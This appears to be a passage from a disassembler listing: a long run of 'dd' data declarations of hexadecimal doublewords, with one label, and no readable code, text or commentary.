dd 0D408A155h, 0BE0A44DCh, 2C630008h, 9F718EE2h, 0AEEFBC00h
dd 7DBDE5D7h, 0C070240Dh, 322C23h, 922A3A52h, 46653F58h
dd 8C1D83D8h, 7C781C7h, 0AC008D15h, 6C1BFE87h, 124A72C8h
dd 0A129583Eh, 0A7020ECh, 0D420C18h, 58B7ABA0h, 7214B008h
dd 8BC7DC29h, 0AB5841DBh, 0B810048h, 4485485Dh, 0D9328980h
dd 47051607h, 0DA8ABE40h, 0B208080Dh, 10FC28A3h, 0A518489Ah
dd 7336014h, 0D07068CBh, 1643E05Fh, 1207A806h, 4D7E1EBh
dd 0ACC07267h, 0F407924Ch, 6251BA46h, 0CC04B6FDh, 0A0300854h
dd 613E80B2h, 0BDA54042h, 5CE8BF50h, 4158560Ch, 59E8984Dh
dd 0A0131460h, 0CA1C0424h, 970413CBh, 0FBC07835h, 52937CF8h
dd 3F008C4Ch, 0FFB623B8h, 2050E88Dh, 4E6AB7A0h, 0CA62A839h
dd 42704135h, 6B9ED0h, 3AE6D740h, 0A4EF86Dh, 0CF78BA03h
dd 0F10552FFh, 3830CD9Ah, 0F00890A6h, 8224B26Dh, 289464A7h
dd 58A06B87h, 580A0C9Fh, 8CE98Ch, 4E37E5D6h, 0A9E07834h
dd 2A80817h, 21449300h
dd 7C747D0h, 80F5BF1Fh, 0E8899010h, 690418DFh, 0B0D90876h
dd 28C200D4h, 4908C1A8h, 0B7910CF0h, 0D77044ACh, 0EC03584Eh
dd 1EBAA361h, 0CCFE28F0h, 0D58896F3h, 5EBE409h, 0C6B3835Fh
dd 3F402C02h, 90D8444Ch, 1140D4D0h, 41E08861h, 0DE1DCA7h
dd 339C8BC6h, 0A0500B0Ch, 4F006C76h, 65A61C82h, 242431B0h
dd 9A0004A5h, 0DC894BFCh, 3A431F90h, 21BD016h, 0DB612131h
dd 97004863h, 0F7E01E29h, 0BE4B03ABh, 0A8A01798h, 0D90CFC05h
dd 2065D058h, 0B1133247h, 0DCC8C7CEh, 3F034BCFh, 32625548h
dd 4A5028C3h, 501F409Ch, 44456801h, 28FAF8BEh, 0F1D5D30h
dd 1FACDAEEh, 0C8F9AE81h, 0D975EC45h, 0A2E85AC0h, 0EE119B89h
dd 28B4B23Fh, 26813A6h, 0DA5926E8h, 0D44041CAh, 25B0519Eh
dd 0DF05E0A0h, 0BCBC0E2Eh, 5D819418h, 40BA6241h, 6CDC1B40h
dd 361C6C2Ch, 893AB4C0h, 1D98A39h, 0ADC06830h, 0E0DC5AE4h
dd 8AB77A62h, 8F496440h, 2E001E14h, 99565AEBh, 96060003h
dd 6250F6ACh, 2A540431h, 90848ED4h, 7424B708h, 172CFD08h
dd 0D80005F8h, 0F31D4382h, 368A00D2h, 1C8BACAFh, 0D830586Eh
dd 57DA4004h, 0E9201D99h, 0E027C13Ah, 8A019640h, 0E873B751h
dd 466F42h, 0F0135A1Ch, 0F809BE2Eh, 18BCAA09h, 7D9FE8E4h
dd 50CD169Eh, 98F8A048h, 2438F64Ch, 0BF0530BEh, 0D4D5C5DBh
dd 994A2403h, 7F3AC01Eh, 24D92C58h, 438C133Ch, 6D7B3D54h
dd 64FE5EE1h, 3A003580h, 211A4E39h, 74A29FFh, 161F8761h
dd 84B370D3h, 76246D9Bh, 2D089019h, 0F0553F8Eh, 80695060h
dd 7B180A4Ah, 1240422Ch, 0F44B819h, 0F36F3F25h, 9C8840C2h
dd 8AB2C000h, 28CF0670h, 0F1A53A61h, 48F01A48h, 0F85884B4h
dd 0F5040C8h, 0BE08415Eh, 590028AFh, 58D57B2Dh, 0A0C3DB5Bh
dd 0DC20AD8Ah, 0B2C734Eh, 3B6B2578h, 0E6233481h, 46C7EBA0h
dd 0C203857h, 0AF100021h, 50E7E454h, 156EBE9Bh, 3CF0B359h
dd 72ABA0D1h, 9D1401FEh, 7BAA4AD0h, 655020EAh, 0AD08F64h
dd 78374C0h, 0B17267A7h, 789C2946h, 1BA0D513h, 484D81ECh
dd 0DFFCF977h, 0C185005Ah, 9B6FD906h, 250074F1h, 3F2E29FCh
dd 3240D18Ch, 4870D8B2h, 805EC5Ch, 68D1A322h, 0D0843094h
dd 0B87C40DBh, 15963E48h, 3345222h, 5440D83Bh, 17207539h
dd 358EE51h, 0AA69046Fh, 0B861EFA2h, 2607E4F1h, 7A49CBFCh
dd 0C0290F8Ch, 0E0968E19h, 0CD6CD3BFh, 0BDC90B0Fh, 49805643h
dd 934A1842h, 208FBCB1h, 20C17255h, 7C70F978h, 214D8315h
dd 886F1EF8h, 72546D84h, 0B8E4E8C0h, 48387F6Bh, 644DD4B7h
dd 94085506h, 2460F0C6h, 0E3EFE928h, 0B5A70496h, 0A4EE28D2h
dd 28E5B38Ch, 49495DCh, 10349440h, 28785414h, 4DA8EB30h
dd 2052486Dh, 58DBE02h, 5C7C3249h, 80F29709h, 61909500h
dd 16507413h, 40E06F62h, 46D0E41Ch, 0DCE073ADh, 140F1890h
dd 0CF8A253Fh, 9FC7487h, 2A77D0E8h, 0B2004474h, 0FB125E25h
dd 66082559h, 70882C87h, 9728B56h, 4C97DF00h, 50384232h
dd 71E80905h, 0C632C20h, 9E416CB9h, 81015451h, 3771073Ah
dd 545848BBh, 2646EF88h, 62611038h, 0A5BD12F7h, 53BF9402h
dd 0A08C987Fh, 50587C1Eh, 0BAE6D46Ah, 7CD97CA4h, 0F5C32E1Fh
dd 753880C0h, 3C71D7EBh, 0B125CE0Bh, 754822Fh, 0E445046Eh
dd 12269964h, 0CD93A4DDh, 0F005404Bh, 66F09440h, 431290BAh
dd 0A8454B60h, 0DC88781Fh, 1A29C103h, 90866008h, 24481D51h
dd 1A354E74h, 0DC84E804h, 2C20C9FCh, 0FF9AC758h, 0CD187C4h
dd 407B1161h, 0D32909FCh, 171DD873h, 13001C58h, 9E6DBDD9h
dd 0E97F37BAh, 0B5888320h, 1EA7C5B7h, 4B99C098h, 58E17F85h
dd 90B73628h, 98D9211Dh, 6A13B141h, 0CBECE606h, 68DF6Bh
dd 8F61B23Dh, 0FCE51FA8h, 8C0013BFh, 99535A50h, 0F3B0FEh
dd 7BD05F37h, 0D43E8F86h, 80EA800h, 18620301h, 5042185Bh
dd 75FB18A4h, 0A61B1F00h, 44936870h, 203CB06Bh, 0FA04D0Ch
dd 0B1066750h, 537C610Eh, 77E100F0h, 8587E66h, 94A0BDF0h
dd 410263CFh, 0FA62BE59h, 36704867h, 0DA210222h, 0A00553BDh
dd 5B4EB080h, 9012EE99h, 6E00122Eh, 0E3E4430Ch, 8A0A00A8h
dd 18BDCC95h, 3030317Bh, 3A97881Ah, 9FB53061h, 5A7F4058h
dd 6003C0B2h, 0CF172D08h, 7607E04Ah, 9D90D2B9h, 1AE402DCh
dd 0A1B0CC29h, 4ACE0804h, 74BC00FCh, 0FF725Dh, 137907A8h
dd 63D06B49h, 2701CB77h, 58E728F3h, 0D840FBA2h, 0F044AF0Fh
dd 282E5878h, 0C99081A4h, 0B0882E56h, 3CEC9988h, 2CA4D524h
dd 3E224A78h, 46D41B24h, 8BB4989h, 8EAF6186h, 0C8E60018h
dd 0C0539828h, 6E00658Ah, 3E890631h, 7C323A51h, 68520056h
dd 0C72B9912h, 0EA0001A8h, 0F8A4B3B6h, 0C0A470Fh, 0C2DE62A1h
dd 303D850h, 55310ECAh, 797527h, 752BA15h, 7BA64FDAh, 0DF6158A0h
dd 4209749Ch, 41F4E340h, 60331C76h, 585D0B02h, 9880A34Bh
dd 126F953Dh, 0FF194D01h, 99786127h, 34689E02h, 0B8836EFDh
dd 4DAACA8h, 68C749F0h, 42488174h, 8990C34Bh, 6C00D635h
dd 51C00B9Eh, 2496A265h, 0F24DE80h, 38A1BFEDh, 0CC467970h
dd 5561CD58h, 44E2DB90h, 0F040AC53h, 0DF836862h, 65DA0B10h
dd 0C0F46480h, 8C005824h, 0A436D20h, 0FD48AA4h, 653663A2h
dd 0B83740FFh, 348921A7h, 0E3C7AA01h, 8A8DBFCEh, 10E05820h
dd 145BFE62h, 4CE85CA0h, 723C52A4h, 7891054Bh, 0C40F64Ah
dd 2D435818h, 7CC06E08h, 4F62B63Dh, 3663EC0h, 8CC93F39h
dd 0C162D23Ah, 5066B409h, 624249C1h, 7824A659h, 1BC60B02h
dd 94809620h, 9455F92h, 280CFAF8h, 183D6C34h, 7C8402D5h
dd 0E9F640E5h, 60E370C3h, 7298DAA0h, 9AE7B601h, 9B0780D7h
dd 80C6C28h, 257076C3h, 48B2E05Fh, 0E904013h, 2CE007A4h
dd 7B4C70EDh, 1ED71A16h, 0B3885002h, 0EC66C6h, 810B5EF2h
dd 4778184Dh, 61CE980Eh, 0F042491Ch, 71F66238h, 22092055h
dd 9090C0FCh, 72408B80h, 5D61183Ch, 9307F9B0h, 9A54E403h
dd 0FFF17258h, 84BFDAC0h, 0B96828DFh, 354B0488h, 0C1C5AA3Ah
dd 0F1C611A8h, 0FD6BF0B3h, 0C8567303h, 0F041040h, 0A35869D8h
dd 0EB84898h, 5C2618FEh, 38259031h, 40E86108h, 4E031B72h
dd 0F97F3413h, 0C240A14Bh, 6F2C874h, 76608E29h, 710FF870h
dd 2CB14F3Ah, 319901Ch, 2F91C645h, 0E998585Ah, 0DE03890Ah
dd 4726322Ah, 57F09050h, 0DB90A298h, 92B42028h, 0AC402728h
dd 0AC64D4C2h, 273EB89Ch, 0AFC0A1BFh, 0E86C6562h, 0D0FA2800h
dd 223D2E48h, 49E43958h, 908C248h, 354200BAh, 5818937Bh
dd 0AAF965D5h, 4CA8B00Ch, 8100B49Bh, 0B83F5D63h, 0CF066D52h
dd 2E9840DFh, 826A1D48h, 36FC49B6h, 0B125C80h, 68984FB7h
dd 1078102h, 712F217Ah, 0DF00BC74h, 0AC29633Bh, 50128A0h
dd 0E989716Dh, 682C1540h, 76996F01h, 0F4EBE2A8h, 0CF00EADDh
dd 8AB1527Fh, 0E74D401Dh, 586E8082h, 0E889A994h, 0EC6028C2h
dd 0EF805591h, 25347074h, 9C22400Dh, 3E01B9F0h, 0F0D7F6B3h
dd 0BD6E4DDh, 3FEC100Ch, 0C957AC00h, 0E778D170h, 5045780Bh
dd 0BF8607Ch, 6FC606D9h, 50669058h, 0B6CE1120h, 0E361011Ch
dd 400DCA62h, 3B0A99A0h, 7E443A01h, 982D7FD0h, 0D88BE4D5h
dd 0BF8CD4DBh, 35012C18h, 0E1957D3h, 9AD1E821h, 0E858F073h
dd 0C66D38Bh, 0DF85290Ah, 2A1480D4h, 0E08903E4h, 0BA525928h
dd 28C8D6B7h
dword_4E204C dd 0E632678h, 0CED79C3Ch, 7853A8Dh, 0CA844C74h, 4B3308B8h
dd 0D96CC9CCh, 0B040695Ah, 0BFD81F6h, 52204A16h, 6761B0A1h
dd 18A18023h, 53E4D526h, 0BBE64Eh, 348ABC09h, 72AC7C6Fh
dd 0A50827h, 3E813AF0h, 0F823FFBFh, 0D43C3616h, 2FA4F5A0h
dd 4250D046h, 57D11371h, 40B8606Dh, 0E0C0EF2Eh, 6962B648h
dd 12A8B260h, 45D1A3h, 207C8762h, 3D1E728Dh, 0B684A9BAh
dd 88F0CA40h, 7A581297h, 0CBB45C70h, 0CC043F93h, 20CC127Bh
dd 2B5F2858h, 3E5A00B0h, 18B08770h, 61137ED6h, 54407526h
dd 76D982FFh, 2849FC7Ch, 19080799h, 0F161FB58h, 0BEA608DEh
dd 1DC0858h, 0B8ABE01h, 39F0756Ah, 0FA78C963h, 0D21C0475h
dd 2628C7C3h, 0BE9C9328h, 49EF5F00h, 0D5C95DF7h, 0B4585C13h
dd 0BF3A2C91h, 8B196433h, 432D78DAh, 0C88D8CF4h, 300710A8h
dd 3828C4DCh, 8036285h, 16022F40h, 0BC0A70h, 9FD147E0h
dd 0D8300878h, 481740DFh, 1E8A90BEh, 1EE91BC5h, 0A0F0CA80h
dd 543217B0h, 0D6065884h, 18EEB740h, 28EA57EAh, 0E33058ECh
dd 5B2A07Fh, 0D8451F53h, 89258078h, 9BC32432h, 0A5404E09h
dd 34C864D4h, 0C181A908h, 2528114h, 0F744604Ch, 6DA3D16h
dd 839C24A6h, 1CE70846h, 3DF63013h, 4BD9B070h, 50109698h
dd 0CF493F61h, 60031434h, 8DBD0B84h, 2C50060Bh, 586C0A10h
dd 83D09277h, 892613A0h, 917504F0h, 54C06600h, 36511B11h
dd 9BCB2661h, 0F2BCBCh, 4138ECD9h, 2FFBA846h, 97352800h
dd 0E11D678Fh, 0F8DA12A9h, 0E8E400FAh, 0D90E4E1Fh, 0FC00A1Dh
dd 41588239h, 85D2F231h, 1C909BA8h, 80218B99h, 82601A58h
dd 26D48998h, 7E5C2E28h, 0AE2C8180h, 56D178h, 552AF2Dh
dd 73F82EDh, 2104D262h, 0B32014CEh, 0D794128Fh, 6AC0058h
dd 82D6247Bh, 0AB07E80Dh, 61E62029h, 0B80667BCh, 38894903h
dd 0E992DD7Ch, 0C6CA5308h, 846C11FCh, 3209030Bh, 9A7807h
dd 0B5DB8610h, 33496B38h, 64903D00h, 8B6C01Eh, 222900A4h
dd 7F992A89h, 500907BEh, 200362A5h, 39112EC4h, 0ACC89D4Eh
dd 0F8243380h, 8B080478h, 79F7010Ch, 2B8AB942h, 81404C00h
dd 406907C8h, 6305D03Eh, 0EFB1B44Fh, 0B0AB28C3h, 5F8AABCh
dd 3E08425Ah, 88ECD007h, 0D3FCA8C1h, 560C59F8h, 788A9662h
dd 0E4081A45h, 305628F0h, 7820F42Ch, 5EECE64Dh, 7E02050h
dd 93C03F70h, 240C2E80h, 2EBF7C0Ah, 1C4A8E1h, 515926F7h
dd 4558FD14h, 4D54B0DCh, 0C7B49905h, 0DC1F6750h, 9A1C6E40h
dd 151C01Fh, 3CABBEEFh, 80B2E061h, 243BF98h, 0B891A226h
dd 0F9990348h, 0B67DCF1Fh, 8081E0B9h, 5C2D4D58h, 24E8CDE5h
dd 6C4C1Bh, 8AC5E1DCh, 0CA548107h, 11954B94h, 340DFE88h
dd 26406728h, 40E01D24h, 3C0D206Bh, 0F8B3834Bh, 520E943Ch
dd 0E0C2AD85h, 10C2360Ah, 78500809h, 1813245Ah, 844D6C8Ah
dd 1109D70Bh, 58137444h, 0D800371Ch, 0CD5232B1h, 9F402D86h
dd 4BA6F880h, 6D0D4E2Ch, 380FDA58h, 7C75C861h, 51129087h
dd 0E76131F7h, 1AE18123h, 22E1C425h, 8198FC20h, 0CCD0D9E6h
dd 9A1ED129h, 0D5CAD928h, 4D8A3408h, 0DD12CC6Dh, 0AF6FA823h
dd 0EA6C5FB0h, 65E13E23h, 4871A784h, 0EB8CC055h, 7A266125h
dd 0C38840D1h, 50950052h, 243D7BE4h, 2A8C0F55h, 20404C28h
dd 5F9843E6h, 0E8B01482h, 0E5315861h, 4DD13057h, 4D706570h
dd 3E1E18FAh, 7685CA48h, 0A6F20084h, 41611B43h, 428C340h
dd 3B492406h, 44B4803Ch, 277CA491h, 90C5CB8h, 791E3122h
dd 90C13758h, 43411358h, 0E1A8CDF0h, 0EA3B440Fh, 1D80C7B3h
dd 84085202h, 0C0A576D0h, 1A7CD8h, 7FE6D70Ah, 2844B2D4h
dd 0A8F04600h, 0E110A405h, 0A1505AB3h, 0CDCC24D0h, 549941C0h
dd 989B9CE4h, 90F52048h, 0AAA84E04h, 0C8E2DE8Ah, 16208677h
dd 631C9E97h, 45BD0958h, 81A6BFF4h, 259F838h, 0AC045726h
dd 7E4CBC50h, 0C8D5B626h, 23ECC525h, 749E09D0h, 0C1301C50h
dd 0F796204Ah, 0B9501367h, 0D1891360h, 6058B188h, 0CF043816h
dd 63A60A4Ah, 1D10A0A4h, 441F97DFh, 828FCB17h, 0E450BA94h
dd 4EB4695Dh, 8E2CD84Bh, 0E1AEECD8h, 183201FFh, 6290423Eh
dd 5B002020h, 60418A41h, 0A1056D5Ah, 320699Ch, 0E14809BDh
dd 64B2CDD9h, 0E041DC12h, 154B31B0h, 5888A050h, 0E0CDC4D4h
dd 693D9E10h, 10EDAA98h, 5C315870h, 63837899h, 856F7C40h
dd 0A67003Bh, 7C27715h, 89406EAh, 0A093710Ah, 1DA0DB01h
dd 0B868AC58h, 44E88900h, 937C1A4Ch, 6B0318BEh, 9F94858h
dd 95C13920h, 2887E08Bh, 0B0A8E0D2h, 891E88Ah, 90969090h
dd 3DFD7B10h, 0BF382D0Eh, 884496EBh, 0CE09BE2Bh, 0D23DDC85h
dd 0B0F0612Ch, 0BC007E4Eh, 19E45DC0h, 0F26A7E03h, 78249ED3h
dd 2C4AAA58h, 0C536E000h, 74430EF7h, 0A064006Eh, 0F8D12616h
dd 5958170Fh, 84B71834h, 9145D0A0h, 50012D2Ch, 0E0C6EADBh
dd 954ABE58h, 9AC284C4h, 0C2A4DAF1h, 501D738h, 0C46B8103h
dd 58C2A0BDh, 9C80AE16h, 4203B661h, 0A81C44F8h, 81FA2C73h
dd 24202F6Bh, 0C688328h, 17A93210h, 1C31DC89h, 80052CB0h
dd 0FB5D18Ch, 1614BF3Eh, 0D4908F72h, 29520Eh, 60C0681Bh
dd 0A432857h, 719D6F2h, 3A289F61h, 0B279B2D4h, 28E201E8h
dd 0DE42E89h, 0AAB443C2h, 60FF6899h, 6C04364Fh, 79B59CE0h
dd 9049BC80h, 80E501FEh, 0AD612237h, 0E2489ED2h, 0FD02C817h
dd 9614FF08h, 0C280AAE8h, 0D78C10D0h, 81427415h, 0A848F6A0h
dd 0F1182809h, 0CB7091D9h, 57303B3Eh, 4E58338Fh, 70133129h
dd 5848DDC2h, 3C783D49h, 20178133h, 4CF7C8D7h, 68FA00E8h
dd 0BF3A5935h, 4A776DB5h, 39897103h, 8FB6747Dh, 58AE5DC0h
dd 81240CECh, 197896CEh, 0ED4C109Dh, 69022CDEh, 0B27F0334h
dd 0E3E3185Bh, 30FE32D3h, 3577E3Eh, 7740CDE0h, 6AE0276Ch
dd 0EF0368C5h, 471E40h, 6A5A9A20h, 0CDD088BEh, 2BA80BCh
dd 4262E370h, 19144005h, 44C0009h, 6D4EA74h, 0A60060D8h
dd 8FBE46C2h, 243D6A05h, 280396Bh, 957B0C1Eh, 827F0D0h
dd 0F6480275h, 4FC09035h, 245812FEh, 0A0900B33h, 0A5B9F022h
dd 70E03848h, 54666212h, 0A0E1E00Eh, 4E610C0Fh, 5588A2A1h
dd 0B7A00493h, 58600962h, 73D5E510h, 728705Bh, 2E80851h
dd 0E5913477h, 0B87C206Ch, 0E550BB00h, 0B2F64AF5h, 90F013E9h
dd 0C05C1E5Ah, 247B189Ch, 75497F58h, 73606A8h, 9EC8D6F4h
dd 6126857Ch, 441C903Ah, 30008CC0h, 78D5D711h, 2F5869C5h
dd 0B8A36584h, 4BEA6B24h, 444CA058h, 4CB618D0h, 39D10920h
dd 0B48E55BFh, 40E319ADh, 0E0005C48h, 41D33D6Dh, 88BD0Ah
dd 1AEFFCAh, 64D0ED2Eh, 7F31C904h, 54B008B4h, 3287013Dh
dd 886FC079h, 60CEC56h, 9C9770Bh, 790709A8h, 82EE0844h
dd 636F590Eh, 0E409ECF4h, 0C088C8B5h, 0B1130BCCh, 0DC09FC33h
dd 440CBE0Bh, 97810FA8h, 1C143h, 4A87E828h, 549234EAh
dd 0A12054B0h, 0E1250FA3h, 28F8B258h, 718DE0Eh, 8F88FC7Bh
dd 9B1D006Ch, 28A2B63Dh, 922DE75Eh, 3E70042Ch, 1CC84652h
dd 444A113Dh, 79055022h, 9B610238h, 0B6C09F33h, 0E8BC3228h
dd 0AE2A9060h, 556400CFh, 2D22A070h, 0AB4F58EFh, 10C0B810h
dd 706D17h, 19A80CAAh, 87B7DB04h, 1B689016h, 26BD1808h
dd 38321A48h, 47C2E04Bh, 0E809C45Ch, 0F88BD746h, 2B90B0CBh
dd 60FEDA63h, 0B9605364h
dd 818980FCh, 0A02024F0h, 9AD62D61h, 867BD405h, 7C80E00Ch
dd 0D9003A93h, 0A16C22BFh, 0B0829843h, 0EE6A05ACh, 0F7267E62h
dd 493B27A8h, 4F2FCCCh, 9994C1A4h, 45500137h, 3B134EC8h
dd 6B12782Ch, 0E074B03Bh, 4C20A017h, 913D14A4h, 0F5EE8808h
dd 52D7C402h, 0F040C66Bh, 0D4B31279h, 831C9226h, 224AC4F8h
dd 198254F1h, 0DA676125h, 0C26B6056h, 9C5CC030h, 9C818277h
dd 7460BF87h, 4080A848h, 80E86FA1h, 0B835D09h, 1000D3E2h
dd 497CCF69h, 25E1B633h, 0C0E47354h, 50DAB502h, 0F0A56256h
dd 0FDA70748h, 0ED205Dh, 889E05F4h, 44181527h, 0BB081614h
dd 0CB08C862h, 2C81D40Fh, 18E5DCA5h, 0E6684F30h, 0D8C9E19h
dd 40398708h, 0E8CCB76Ch, 962B2100h, 0A8B87DCFh, 0A7D100AAh
dd 25084FF9h, 23604A07h, 1980CF30h, 0B73E0061h, 0D443B970h
dd 4C927540h, 0DD679912h, 607B94A3h, 2E7F39FCh, 8900A10Ah
dd 8017E335h, 4594D42h, 9207E881h, 8DEE1D27h, 893C5B00h
dd 6A4A2Dh, 5FA85AF5h, 51084DEFh, 60618FF1h, 0F0458741h
dd 0E41E01F1h, 4D5881CCh, 344A90F2h, 18D0F944h, 0D598429Bh
dd 40382458h, 0C40A890h, 5C0F613Ch, 1225BF30h, 34E0C621h
dd 0AC10585Fh, 61678418h, 63C8F207h, 11597F08h, 0B0BF8294h
dd 0C40C4636h, 0F6D0C0h, 0D25AC385h, 0D92204D5h, 97025898h
dd 80F07454h, 0BFA2B9F9h, 0C15CACF8h, 0D4C74AF6h, 0D2C00682h
dd 0CDF04B04h, 0E4443F3Ch, 0ACF967CDh, 5F78F3D2h, 0A7D49C01h
dd 43A1205h, 0E246D014h, 4D0311B0h, 888F580Ch, 0C80E2470h
dd 8005B748h, 0BF613D97h, 731C072h, 40AC35DAh, 4142500Ah
dd 249F9CBAh, 55C001E0h, 0BC28E743h, 6B24710Ah, 94E4008h
dd 0EC047578h, 84CC1463h, 90AD2FEFh, 775006D3h, 395090A2h
dd 6300D09Ch, 0BF8EB2D8h, 3058EDA0h, 40392DFDh, 0DB3A22F5h
dd 2890BC20h, 989608E8h, 49BEB83Dh, 8AA913D4h, 4EC09C88h
dd 78A89D51h, 0B33E004Ch, 0DDEA97E4h, 0E9791DE6h, 52BF80D1h
dd 72150AEFh, 28C6093Ch, 0D309088Ah, 74631B40h, 0B41D9600h
dd 6E0B4924h, 0AAE786h, 0D1BFD576h, 4B760619h, 80CF9C08h
dd 1E699000h, 0D6A3DC3Ch, 53505849h, 0A20B1616h, 4C24C84h
dd 0D340DC24h, 9D3FE0E0h, 6C58E0A1h, 326074B2h, 160B05B8h
dd 62CA0804h, 247440CCh, 2D6A8041h, 98272090h, 3FB4B944h
dd 2D122069h, 7840B27Bh, 40435102h, 56C9628Dh, 9AF30F60h
dd 866B520h, 9980953Ch, 0AA80446h, 0BC166122h, 144724A0h
dd 0B7084383h, 0D7282996h, 58D100BCh, 463BF6F8h, 14335176h
dd 0EB21C8BBh, 16EBB307h, 211D6981h, 2F7C0840h, 60250C92h
dd 802B3240h, 0DF0B7FD0h, 2C4FB70h, 2408630h, 90F205F2h
dd 22F37CA0h, 0D0504807h, 0EC43DD76h, 78E3E014h, 54F724E0h
dd 28C91F94h, 0BCA2B5A8h, 20016E27h, 9B706362h, 0D00653FBh
dd 0B247401Fh, 70D46B10h, 9309E038h, 0E8805FD0h, 40E40BA9h
dd 1429D42Eh, 9910EC50h, 2577060Eh, 0F0095DF6h, 0A83CC84Eh
dd 17C10109h, 1D035859h, 3BA4423Bh, 89E1D92Eh, 1FF838BEh
dd 7CE60458h, 1EC04AFh, 62E380C0h, 0CC1A50F6h, 626D4B4Dh
dd 6812044Ch, 0C4C93Ch, 749640D2h, 3DE97D9Ah, 0B1223509h
dd 78780248h, 8E3F00AAh, 0A404328Ah, 0A5B42B37h, 0A84ABC80h
dd 96DAF8AEh, 833342E0h, 47AD001h, 0FCF5620h, 2BEAF34Dh
dd 79189400h, 0C0280A46h, 38CAEA62h, 5D2C20E5h, 0C957EF05h
dd 1505409h, 1FF00896h, 80D4366Ah, 5870570Bh, 0C4142BA1h
dd 139E4FF4h, 8A481F40h, 25303389h, 90BF4881h, 92EC4C25h
dd 74D8244Ah, 0E2F82C99h, 0D17065C8h, 0C52E2D90h, 0E3E0306Fh
dd 0D9C03650h, 8B0999ECh, 0A141C4E8h, 775D080Ch, 0A740B462h
dd 0BDD41747h, 0C5CA396h, 70055840h, 898C0233h, 7813E62Ch
dd 0B1E9CDC3h, 0C878747Bh, 3421BF4Fh, 88634089h, 0EC647325h
dd 0A8964B3Eh, 0BC9E304Dh, 81B0D615h, 549EEF5Eh, 782F846Dh
dd 0C120B4F8h, 0F8421709h, 0ACC4C47Fh, 7890A400h, 1328F74Ah
dd 0B45C0A2Dh, 0E5FA2340h, 72588D12h, 91B8D482h, 122F28C8h
dd 2E391FF8h, 5051288h, 0A759E854h, 5AE456A0h, 1C5E4CD1h
dd 48E26820h, 345042A1h, 20B0A82Ah, 0F430FD60h, 450D0044h
dd 7DD092Eh, 20D78EFDh, 589560C0h, 849E5A12h, 9FF4E944h
dd 7100DFD3h, 6B8926A1h, 0D2E107DAh, 0B21C963Dh, 50F1C24Fh
dd 8E59516h, 49134448h, 44D2AC2Ch, 5F863058h, 673DD340h
dd 2614984h, 8A37887h, 0C87D217Dh, 50C05030h, 5D20C90h
dd 0C658E680h, 0DAF84045h, 0BF8439D9h, 8C429A3Ah, 70ABF340h
dd 55612BDh, 96ACD24Ah, 0F0AA3C7Eh, 2DC29912h, 1440B8F2h
dd 0BA0A8892h, 84FE6226h, 14C01012h, 9F9A2976h, 71BDE78h
dd 0E0C9F4ECh, 3E53AA69h, 8109914Bh, 80FDC494h, 0FA7F7258h
dd 0B1E71E24h, 418F1FEDh, 0B6DB5FCAh, 1DD5D0EAh, 109D5506h
dd 0E20DA8Dh, 0E08A354Bh, 322EDE80h, 9607B23Ch, 0D319CCB7h
dd 54F95540h, 0A031F074h, 621A9408h, 8A1070ECh, 675B2480h
dd 0DD2417ABh, 110025B0h, 88217825h, 6FA3004Ah, 7AAB57EDh
dd 6785FF2h, 47FFFA00h, 6B6235D7h, 0C22300B6h, 4EB0730Bh
dd 3776A210h, 1D300500h, 3FCC8E92h, 0EDA100AFh, 8D6EFCD1h
dd 0BD0C0FACh, 806811A4h, 0D8B815DDh, 940030CEh, 8623AF97h
dd 2771A110h, 8074713Bh, 576F9BFEh, 744CAB5Fh, 0A41315DAh
dd 5D01B606h, 9F108796h, 998ECC61h, 54A24C05h, 9440C235h
dd 0BCD24EFCh, 0A4B10D04h, 0C438A039h, 3800E6E9h, 891021B2h
dd 16328BCh, 0D5B05526h, 522AF4A4h, 23034794h, 0B611A04Fh
dd 58EC60E6h, 556F93F4h, 18AC9A56h, 2179E135h, 60A77C0Eh
dd 0CF8EC0F4h, 3A7FCBE5h, 1E8F7103h, 901A8D9Fh, 3BDD8CCh
dd 0C450FB0Dh, 4BC0B656h, 0B9989422h, 5FBE8880h, 484CFA33h
dd 0C2AB91EFh, 0A479D0E3h, 25293335h, 43C16891h, 0BC8880F5h
dd 0ED2D714Ch, 7CE90089h, 0B9C01D0Ch, 8D67975Dh, 2EC97B30h
dd 0AAB68738h, 3BA4824Fh, 0B3D0A021h, 90FA4706h, 304F6FFAh
dd 791ECA80h, 0D2D0A4DFh, 948704A4h, 30924928h, 985D1090h
dd 0A698B62h, 9DF08667h, 93900011h, 0A4477C87h, 30C65979h
dd 0E480BB5Fh, 0F4828077h, 9CB08350h, 78C1021h, 4079C38Eh
dd 0B9BC6A11h, 9EB8DE03h, 289630A4h, 0D85790h, 0E7F1ACAh
dd 63FCE08Bh, 0A1A460A0h, 8348E565h, 40C40C22h, 43F72B8h
dd 25687FFAh, 13B500B7h, 63AE62FBh, 0B46918F2h, 0FC3B310Ah
dd 0CC07204Ah, 0C4CA7F32h, 666F8B85h, 4A7C0800h, 48FB3513h
dd 0FA319C6Eh, 85F6DA20h, 0AB7F5D08h, 8D182404h, 0C384EC83h
dd 0C7F4B0F6h, 57621E44h, 0CCD280DDh, 0E091CE2Dh, 80FC8900h
dd 0C592FB1Eh, 2411004Ch, 4741F5D9h, 5D02422Fh, 956BE88Dh
dd 0CE206077h, 0B399049Ah, 90D190DDh, 0F3CA68BCh, 351F78C1h
dd 0B0808EC9h, 76B6058h, 470EA434h, 0A5E4AEF1h, 0B000901Ch
dd 0CC6EF48Fh, 0FA70A01Fh, 284F4C66h, 0D4045589h, 8A0014CCh
dd 49F890D1h, 75B63813h, 67CAAC48h, 49FC0010h, 0B3D5C7AFh
dd 19864C5Ch, 0BE58C354h, 3A27A030h, 0E71D4F88h, 863D4768h
dd 0FE0BD272h, 1D90846Bh, 2B006CB3h, 3B2D23DCh, 0A813C79h
dd 0D3DF6838h, 803E8AE8h, 0C8A41458h, 0D3C8CE8Ch, 28C2C43Ah
dd 4C090C36h, 8CBB8601h, 991AF84Ch, 0BA5D4204h, 57678046h
dd 10DA10A8h, 8DC05F00h
dd 0C914D923h, 0B88A5510h, 0A48B82C4h, 5B023BCCh, 0FCACAA77h
dd 1D05183Eh, 0FC8618h, 0CA30E661h, 252EC47Eh, 600FC024h
dd 0A9CC3E8Ch, 3A131A1Fh, 0CB628804h, 69C1C482h, 0D2C2E900h
dd 0D0E7155Fh, 106B84C9h, 12543508h, 0E2545E8Ah, 682B8506h
dd 861920Ah, 3923940Fh, 0C584C080h, 0EED7763Fh, 57A530A8h
dd 288A20D8h, 0C091109Bh, 646827C1h, 35A824DBh, 4FE4C84h
dd 4C4C0848h, 1C406048h, 58C9808h, 93299FC1h, 8F1C8151h
